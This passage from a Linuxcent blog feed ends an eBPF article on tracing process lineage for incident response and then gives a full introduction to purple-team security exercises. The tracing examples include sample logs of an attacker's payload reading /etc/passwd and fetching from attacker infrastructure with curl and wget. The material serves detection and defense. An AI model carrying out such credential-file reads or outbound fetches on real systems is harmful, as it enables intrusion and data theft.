{&quot;pid&quot;: 18297, &quot;binary&quot;: &quot;/usr/bin/wget&quot;, &quot;pod&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;dst&quot;: &quot;93.184.216.34&quot;}
</code></pre>
<p>PID 18296 and 18297 both connected to the same IP. Cross-reference with the process tree: those are the <code class="" data-line="">curl</code> and <code class="" data-line="">wget</code> spawned by the attacker&#8217;s payload script. The destination IP is the attacker&#8217;s infrastructure. The timeline is milliseconds-precise because the events are timestamped by the kernel at the hook point.</p>
<hr />
<h2 id="building-process-lineage-without-tetragon">Building Process Lineage Without Tetragon</h2>
<p>If you&#8217;re not running Tetragon, you can build a basic process lineage recorder with bpftrace that writes to a file:</p>
<pre><code class="" data-line=""># Record all exec events to a file — run in the background on the node
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
    printf(&quot;%llu EXEC pid=%-6d ppid=%-6d binary=%s\n&quot;,
           nsecs, pid, curtask-&gt;real_parent-&gt;tgid, str(args-&gt;filename));
}
tracepoint:sched:sched_process_exit {
    printf(&quot;%llu EXIT pid=%-6d comm=%s\n&quot;, nsecs, pid, comm);
}
&#039; &gt; /var/log/process-lineage.log &amp;

# Tail the log for real-time observation
tail -f /var/log/process-lineage.log
</code></pre>
<p>Sample output:</p>
<pre><code class="" data-line="">1745296443123456789 EXEC pid=18293 ppid=18201 binary=/bin/sh
1745296443234567890 EXEC pid=18294 ppid=18293 binary=/bin/sh
1745296443345678901 EXEC pid=18295 ppid=18294 binary=/bin/cat
1745296443456789012 EXIT pid=18295 comm=cat
1745296443567890123 EXEC pid=18296 ppid=18294 binary=/usr/bin/curl
1745296443678901234 EXIT pid=18293 comm=sh
</code></pre>
<p>This file survives pod restarts because it&#8217;s on the node, not in the container. After the pod is restarted, the process lineage record is still on disk. You reconstruct the tree by grouping by <code class="" data-line="">ppid</code> and ordering by timestamp.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Ringbuf saturation on high-process-churn nodes.</strong> Nodes running serverless workloads or short-lived batch jobs may spawn thousands of processes per minute. Hooking exec on every process at that rate generates a high ringbuf write volume. Filter at the eBPF level by cgroup (namespace) rather than in userspace — sending events to userspace only to discard them wastes ringbuf space and CPU. Tetragon&#8217;s namespace selector does this filtering in the eBPF program before the write.</p>
<p><strong>The 15-character <code class="" data-line="">comm</code> truncation.</strong> The <code class="" data-line="">comm</code> field in <code class="" data-line="">task_struct</code> is limited to 15 characters (plus null terminator). Process names longer than 15 characters are truncated. <code class="" data-line="">bpftrace</code>&#8216;s <code class="" data-line="">comm</code> built-in has the same limit. For the full binary path, read from <code class="" data-line="">execve</code>&#8216;s <code class="" data-line="">filename</code> argument at the tracepoint, not from <code class="" data-line="">comm</code>.</p>
<p><strong>PID reuse.</strong> Linux PIDs are reused after a process exits. In a high-churn environment, a PID you recorded as an attacker process may be reassigned to a legitimate process seconds later. Always pair PIDs with start time and cgroup path when correlating across events. Tetragon&#8217;s process cache keys on PID + start time to handle this.</p>
<p><strong>Exec chains lose argument history.</strong> When <code class="" data-line="">execve</code> replaces the process image, <code class="" data-line="">task_struct-&gt;comm</code> changes but the PID does not. If the attacker&#8217;s shell runs <code class="" data-line="">exec bash</code> to replace itself with a less suspicious binary name, the exec event captures the new binary — but the PID lineage still shows the parent correctly. Don&#8217;t rely on <code class="" data-line="">comm</code> alone for process identity; always track the binary path from the exec event.</p>
<p><strong>Process events don&#8217;t capture file content.</strong> You see that <code class="" data-line="">/bin/cat /etc/passwd</code> ran. You don&#8217;t see what was in <code class="" data-line="">/etc/passwd</code> at that moment unless you also capture file open/read events. Tetragon&#8217;s <code class="" data-line="">security_inode_permission</code> hook tells you which files were accessed; capturing their content requires additional hooks on <code class="" data-line="">vfs_read</code> with buffer capture, which is significantly higher overhead and requires careful data handling for sensitive files.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>Live exec trace (bpftrace)</td>
<td><code class="" data-line="">bpftrace -e &#039;tracepoint:syscalls:sys_enter_execve { printf(...) }&#039;</code></td>
</tr>
<tr>
<td>Fork + exec tree</td>
<td>Combine <code class="" data-line="">sys_exit_clone</code> + <code class="" data-line="">sys_enter_execve</code> traces, correlate by pid/ppid</td>
</tr>
<tr>
<td>Tetragon process events</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_EXEC</code></td>
</tr>
<tr>
<td>Tetragon file + network</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_KPROBE</code></td>
</tr>
<tr>
<td>Process cache map</td>
<td><code class="" data-line="">bpftool map list | grep process_cache</code> → <code class="" data-line="">bpftool map dump id N</code></td>
</tr>
<tr>
<td>Map PID to pod</td>
<td><code class="" data-line="">cat /proc/&lt;pid&gt;/cgroup</code> → extract pod UID</td>
</tr>
<tr>
<td>Process exit events</td>
<td><code class="" data-line="">tracepoint:sched:sched_process_exit</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Process event</th>
<th>Kernel hook</th>
</tr>
</thead>
<tbody>
<tr>
<td>New process spawned</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_exit_clone</code> (retval &gt; 0 = child PID)</td>
</tr>
<tr>
<td>Binary executed</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_execve</code></td>
</tr>
<tr>
<td>Process exited</td>
<td><code class="" data-line="">tracepoint:sched:sched_process_exit</code></td>
</tr>
<tr>
<td>File opened</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_openat</code></td>
</tr>
<tr>
<td>Network connect</td>
<td><code class="" data-line="">kprobe:tcp_connect</code></td>
</tr>
<tr>
<td>DNS query</td>
<td><code class="" data-line="">tracepoint:syscalls:sys_enter_sendto</code> (port 53)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Process lineage with eBPF hooks <code class="" data-line="">fork</code> and <code class="" data-line="">exec</code> at the kernel level — every process spawned on a node is recorded with its parent PID, binary path, arguments, and container context, regardless of what the container does to suppress application logs</li>
<li>The kernel&#8217;s <code class="" data-line="">task_struct</code> is the authoritative source of process identity; eBPF programs read it at hook time and snapshot the relevant fields into BPF maps before the process can exit or be killed</li>
<li>Tetragon maintains a live process tree in BPF maps, correlates it with Kubernetes metadata, and makes it queryable by pod/namespace — the record persists after the pod is restarted</li>
<li>Incident reconstruction requires correlating process lineage with file access events and network connection events, all correlated by PID and timestamp — eBPF provides all three event streams from the same kernel attachment mechanism</li>
<li>PID reuse is a real concern in high-churn environments; always pair PIDs with start time and cgroup path when correlating across events</li>
<li>Kernel-level process events cannot be suppressed by a compromised container process — an attacker with root inside the container still cannot prevent bpftrace or Tetragon running on the host from recording their syscalls</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP14 is the payoff episode for the entire series arc so far. You&#8217;ve seen programs load (EP04), maps hold state (EP05), CO-RE keep programs portable (EP06), XDP and TC enforce at the network layer (EP07, EP08), bpftrace ask one-off questions (EP09), and the observability stack collect flow, DNS, and process data continuously (EP10, EP11, EP12, EP13).</p>
<p>EP14 synthesises all of it into four commands that tell you everything about any cluster you&#8217;ve never seen before — any eBPF-based tool, any vendor, any configuration. The audit playbook is what you run in the first 10 minutes when you inherit a cluster and need to understand what&#8217;s enforcing policy at the kernel level before you can trust anything it tells you.</p>
<p><em>Next: <a href="/ebpf-audit-playbook/">the audit playbook — four commands to see any cluster</a></em></p>
<p>Get EP14 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&amp;linkname=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Febpf-process-lineage-incident-response%2F&#038;title=Process%20Lineage%20%E2%80%94%20Reconstructing%20What%20Happened%20After%20the%20Fact" data-a2a-url="https://linuxcent.com/ebpf-process-lineage-incident-response/" data-a2a-title="Process Lineage — Reconstructing What Happened After the Fact"></a></p><p>The post <a href="https://linuxcent.com/ebpf-process-lineage-incident-response/">Process Lineage — Reconstructing What Happened After the Fact</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ebpf-process-lineage-incident-response/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1842</post-id>	</item>
		<item>
		<title>What Is Purple Team Security: Red + Blue = Better Defense</title>
		<link>https://linuxcent.com/what-is-purple-team-security/</link>
					<comments>https://linuxcent.com/what-is-purple-team-security/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 11 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Blue Team]]></category>
		<category><![CDATA[Detection Engineering]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Red Team]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1843</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>What is purple team security — and why red vs blue alone fails. How the red-blue-purple model cuts detection time from 11 days to 4 hours in practice.</p>
<p>The post <a href="https://linuxcent.com/what-is-purple-team-security/">What Is Purple Team Security: Red + Blue = Better Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><strong>What Is Purple Team Security</strong> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Purple team security</strong> is the practice of combining offensive (red) and defensive (blue) work in the same exercise — attackers simulate real techniques while defenders tune detection in real time</li>
<li>Traditional red team engagements produce a report; purple team produces a faster MTTD (mean time to detect)</li>
<li>The structural output is not a findings list — it&#8217;s updated detection rules, tested playbooks, and a measured detection baseline</li>
<li>Purple team is not a permanent headcount; it is a cadence of exercises run against your own infrastructure</li>
<li>Every episode in this series follows the red-blue-purple model: attack simulation → detection → structural fix</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> This episode establishes the series methodology. No single OWASP category. Subsequent episodes map directly to A01 through A10.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────┐
│                    PURPLE TEAM MODEL                            │
│                                                                 │
│   RED TEAM                    BLUE TEAM                         │
│   (Offensive)                 (Defensive)                       │
│                                                                 │
│   ┌──────────┐               ┌──────────┐                       │
│   │ Simulate │──── attack ──&#x25b6;│  Detect  │                       │
│   │ attack   │               │  alert   │                       │
│   └──────────┘               └──────────┘                       │
│         │                          │                            │
│         └──────────┬───────────────┘                            │
│                    │                                            │
│              ┌─────▼──────┐                                     │
│              │  DEBRIEF   │  ← The purple layer                 │
│              │ What fired?│                                      │
│              │ What didn&#039;t│                                      │
│              │ Why?       │                                      │
│              └─────┬──────┘                                     │
│                    │                                            │
│         ┌──────────▼──────────┐                                 │
│         │  Updated detection  │                                 │
│         │  rules + playbooks  │                                 │
│         └─────────────────────┘                                 │
│                                                                 │
│   OUTCOME: Detection time drops exercise-over-exercise          │
└─────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>What is purple team security?</strong> It is the structured practice of attacking your own infrastructure — with full visibility on both sides — so that detection logic improves after every exercise, not just after a real breach.</p>
<hr />
<h2 id="why-red-vs-blue-alone-fails">Why Red vs. Blue Alone Fails</h2>
<p>Eleven days.</p>
<p>That was how long an attacker had access before my blue team detected the compromise in a red team engagement I ran two years ago. It was a standard authorized engagement — well-scoped, realistic techniques, no shortcuts. The red team was good. The blue team was experienced. And still: eleven days.</p>
<p>The debrief was the turning point. The red team had used techniques that generated logs — CloudTrail entries, VPC Flow Log anomalies, process spawn events. The blue team had the data. The detections just weren&#8217;t tuned for these specific patterns. Nobody had ever run the techniques against this specific environment and verified whether the alerts fired.</p>
<p>We restructured the next exercise as a purple team exercise. Same attacker techniques. But this time, the blue team was in the room with the red team. They watched each technique execute in real time. They checked whether the alert fired. When it didn&#8217;t, they wrote the detection rule on the spot and verified it before moving to the next technique.</p>
<p>Detection time in the following exercise: four hours.</p>
<p>That is the entire argument for purple team security. Not philosophy. Not org charts. Eleven days versus four hours.</p>
<hr />
<h2 id="what-red-team-alone-gets-wrong">What Red Team Alone Gets Wrong</h2>
<p>Traditional red team engagements produce a report with findings. The findings describe what the attacker did. The recommendations describe what to fix. Then the report goes to a remediation queue, the org closes the tickets over three months, and the detection logic is never tested.</p>
<p>The fundamental problem: <strong>a red team report tells you what happened; it doesn&#8217;t tell you whether your detection would catch it happening again</strong>.</p>
<p>The MITRE ATT&amp;CK framework lists over 400 techniques. An annual red team engagement tests maybe 20 of them against your environment. You get a PDF. You don&#8217;t get a detection baseline.</p>
<p>Red team alone also creates adversarial dynamics inside the organization. Red team wins when they&#8217;re not caught. Blue team wins when they catch everything. These goals are structurally opposed, which means neither team has an incentive to share information that would help the other.</p>
<hr />
<h2 id="what-blue-team-alone-gets-wrong">What Blue Team Alone Gets Wrong</h2>
<p>Blue team without red team input is writing detection rules in the abstract. They tune alerts based on what they think an attacker would do, not what an attacker actually does against your specific environment with your specific tooling.</p>
<p>Signature-based detection catches known-bad. Behavioral detection catches anomalies. Neither catches a sophisticated attacker who has studied your baseline — unless you&#8217;ve explicitly tested whether the behavior that attacker uses registers as an anomaly in your environment.</p>
<p>Blue teams also tend toward alert fatigue. When everything fires, nothing gets investigated. Tuning requires knowing which signals correspond to real techniques, and that knowledge only comes from running the techniques.</p>
<hr />
<h2 id="the-purple-team-model-how-it-actually-works">The Purple Team Model: How It Actually Works</h2>
<p>Purple team security is not a permanent team structure. You don&#8217;t hire a purple team. You run purple team exercises.</p>
<p>The exercise structure:</p>
<pre><code class="" data-line="">1. SCOPE          — agree on the attack scenario (e.g., &quot;compromised developer credentials&quot;)
2. RED EXECUTES   — red team runs the first technique in the scenario
3. BLUE OBSERVES  — blue team watches for the alert; records: fired / not fired / noisy
4. DEBRIEF        — immediate, technique by technique. Why didn&#039;t it fire? What data existed?
5. TUNE           — blue team updates detection rule. Red team re-runs. Verify it fires.
6. NEXT TECHNIQUE — repeat for every technique in the scenario
7. MEASURE        — record detection rate and detection time at the end of the exercise
</code></pre>
<p>The output of a purple team exercise is not a PDF. It is:<br />
&#8211; Updated detection rules (tested and verified)<br />
&#8211; A measured detection time for each technique<br />
&#8211; A documented attack scenario with the specific commands used<br />
&#8211; A baseline for the next exercise to beat</p>
<p>This is what &#8220;purple&#8221; means: the red and blue work together, in the same room or on the same call, producing improved defense as a direct output of the attack simulation.</p>
<hr />
<h2 id="the-mitre-attck-scaffolding">The MITRE ATT&amp;CK Scaffolding</h2>
<p>Every purple team exercise is anchored to ATT&amp;CK techniques. ATT&amp;CK provides the shared vocabulary: red team uses technique T1078 (Valid Accounts), blue team knows which data sources detect T1078, and the exercise verifies whether those detections are actually implemented and tuned.</p>
<pre><code class="" data-line="">MITRE ATT&amp;CK Technique
         │
         ├── Tactic: Initial Access / Persistence / Lateral Movement / ...
         ├── Data Sources: CloudTrail, Process events, Network traffic, ...
         ├── Detection: What behavioral indicator to look for
         └── Mitigations: What configuration change prevents or limits it
</code></pre>
<p>When you scope a purple team exercise using ATT&amp;CK, you get explicit coverage tracking. After six exercises, you can report: &#8220;We have verified detections for 47 of the 112 techniques most relevant to our threat model. These 65 are not yet covered.&#8221;</p>
<p>That is a measurable security posture improvement. It is auditable. It is repeatable.</p>
<hr />
<h2 id="where-owasp-fits-in-this-series">Where OWASP Fits in This Series</h2>
<p>This series uses OWASP Top 10 (2021) as the threat taxonomy, not ATT&amp;CK. The reason: OWASP Top 10 maps directly to the classes of vulnerability that caused the major breaches between 2020 and 2025 — and it is familiar to the developers and architects who need to remediate them.</p>
<p>The next episode maps every OWASP Top 10 category to its cloud and Kubernetes infrastructure equivalent. Most engineers think OWASP applies only to web applications. It doesn&#8217;t. Broken Access Control (A01) is the S3 bucket that&#8217;s public when it shouldn&#8217;t be. Cryptographic Failures (A02) is the environment variable with a plaintext database password committed to GitHub. Injection (A03) is the SSRF that hits the EC2 metadata endpoint.</p>
<p>The framing shifts. The categories don&#8217;t.</p>
<hr />
<h2 id="red-phase-primer-how-attack-simulations-work-in-this-series">Red Phase Primer: How Attack Simulations Work in This Series</h2>
<p>Every episode from EP04 onward follows this structure:</p>
<p><strong>Red phase</strong> — the technique the attacker uses, with the actual commands. Not &#8220;the attacker exploited misconfigured IAM.&#8221; The actual <code class="" data-line="">aws</code> CLI command or <code class="" data-line="">kubectl</code> invocation that demonstrates the technique. Commands are safe for authorized use in your own environment or a test account.</p>
<p><strong>Blue phase</strong> — what detection looks like. The CloudTrail event, the GuardDuty finding, the Falco rule, the SIEM query. If it doesn&#8217;t fire by default, the episode says so explicitly — and shows you how to make it fire.</p>
<p><strong>Purple phase</strong> — the structural fix. Not &#8220;train your developers to be more careful.&#8221; The IAM policy, the SCPs, the network control, the pre-commit hook. The thing that makes the vulnerability not exist, not the thing that makes humans try harder to avoid it.</p>
<hr />
<h2 id="run-this-in-your-own-environment-baseline-your-current-detection-coverage">Run This in Your Own Environment: Baseline Your Current Detection Coverage</h2>
<p>Before EP02, establish a detection baseline. This tells you where you start, so later exercises have a number to beat.</p>
<pre><code class="" data-line="">aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text) \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;updatedAt&quot;: {
        &quot;GreaterThanOrEqual&quot;: &#039;$(date -d &#039;30 days ago&#039; +%s000)&#039;
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 50 aws guardduty get-findings \
    --detector-id $(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text) \
    --finding-ids | \
  jq &#039;.Findings[] | {type: .Type, severity: .Severity, count: 1}&#039; | \
  jq -s &#039;group_by(.type) | map({type: .[0].type, count: length})&#039;
</code></pre>
<pre><code class="" data-line=""># Check if CloudTrail is enabled and logging management events
aws cloudtrail describe-trails --query &#039;trailList[].{Name:Name,MultiRegion:IsMultiRegionTrail,LoggingEnabled:HasCustomEventSelectors}&#039; --output table
</code></pre>
<pre><code class="" data-line=""># Check if S3 server access logging is enabled on all buckets
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    logging=$(aws s3api get-bucket-logging --bucket &quot;$bucket&quot; 2&gt;/dev/null)
    if [ -z &quot;$logging&quot; ] || echo &quot;$logging&quot; | grep -q &#039;{}&#039;; then
      echo &quot;NO LOGGING: $bucket&quot;
    else
      echo &quot;LOGGING OK: $bucket&quot;
    fi
  done
</code></pre>
<p>Record your current findings count by category and the number of buckets without logging. These are your pre-exercise baselines.</p>
<hr />
<h2 id="common-mistakes-when-starting-a-purple-team-practice"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Starting a Purple Team Practice</h2>
<p><strong>Running it as an annual event.</strong> One purple team exercise per year produces a report. Monthly exercises with 3–5 techniques each produce measurable improvement in detection time. Frequency is the variable.</p>
<p><strong>Letting red and blue work in separate rooms.</strong> The purple layer is the debrief. If red sends a report and blue reads it later, you&#8217;ve just done a red team engagement. The real-time shared observation is what generates the immediate detection improvement.</p>
<p><strong>Measuring success as &#8220;how many vulnerabilities were found.&#8221;</strong> The right metric is detection time per technique and detection coverage across your ATT&amp;CK or OWASP matrix. Vulnerabilities found is an output of the exercise; faster detection is the outcome.</p>
<p><strong>Starting with sophisticated techniques.</strong> The first exercise should test basics: credential access, S3 enumeration, IAM privilege escalation attempts. These generate straightforward logs in CloudTrail. If your detection doesn&#8217;t catch these, it won&#8217;t catch the sophisticated stuff either. Start where the coverage gaps are most embarrassing.</p>
<p><strong>No documentation of the exercise environment state.</strong> If you tune a detection rule during an exercise and then a Terraform change overwrites the policy, you&#8217;ve lost the improvement. All detection changes from exercises go through version control immediately.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>Purple team security</td>
<td>Practice of combined red/blue exercises where both teams improve detection together</td>
</tr>
<tr>
<td>MTTD</td>
<td>Mean Time to Detect — the primary metric purple team exercises reduce</td>
</tr>
<tr>
<td>ATT&amp;CK</td>
<td>MITRE framework mapping adversary techniques to data sources and detections</td>
</tr>
<tr>
<td>Red phase</td>
<td>Attacker perspective: simulate the technique with real commands</td>
</tr>
<tr>
<td>Blue phase</td>
<td>Defender perspective: what detection fires (or doesn&#8217;t)</td>
</tr>
<tr>
<td>Purple phase</td>
<td>The joint debrief and immediate detection tuning that makes both better</td>
</tr>
<tr>
<td>Detection baseline</td>
<td>Measured MTTD and technique coverage before the first exercise</td>
</tr>
<tr>
<td>OWASP Top 10</td>
<td>Threat taxonomy used in this series — applies to infrastructure, not just web apps</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Purple team security is a practice, not a team: structured exercises where red attacks and blue detects in real time, with joint debrief producing updated detection rules</li>
<li>The metric that matters is detection time per technique — not findings count</li>
<li>Red team alone produces a report; purple team produces a faster MTTD and tested detection coverage</li>
<li>MITRE ATT&amp;CK provides the technique vocabulary; OWASP Top 10 provides the vulnerability taxonomy this series uses</li>
<li>Every major cloud breach 2020–2025 maps to an OWASP category — those categories are the exercise backlog for any cloud-running organization</li>
<li>Detection improvements from exercises must be version-controlled immediately or they disappear with the next infrastructure change</li>
<li>Frequency of exercises is the primary driver of improvement — monthly beats annual by an order of magnitude</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP02 maps every OWASP Top 10 category to its cloud infrastructure equivalent. Most engineers treat OWASP as a web application concern. The <a href="/cloud-security-breaches-2020-2025/">cloud security breaches from 2020 to 2025</a> tell a different story: the S3 bucket that became public is A01; the CI/CD pipeline secret is A08; the SSRF to EC2 metadata is A10. The taxonomy was always infrastructure-applicable. EP02 makes that mapping explicit — with the cloud-native equivalent, the real breach that demonstrates it, and the detection query to run.</p>
<p>Get EP02 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
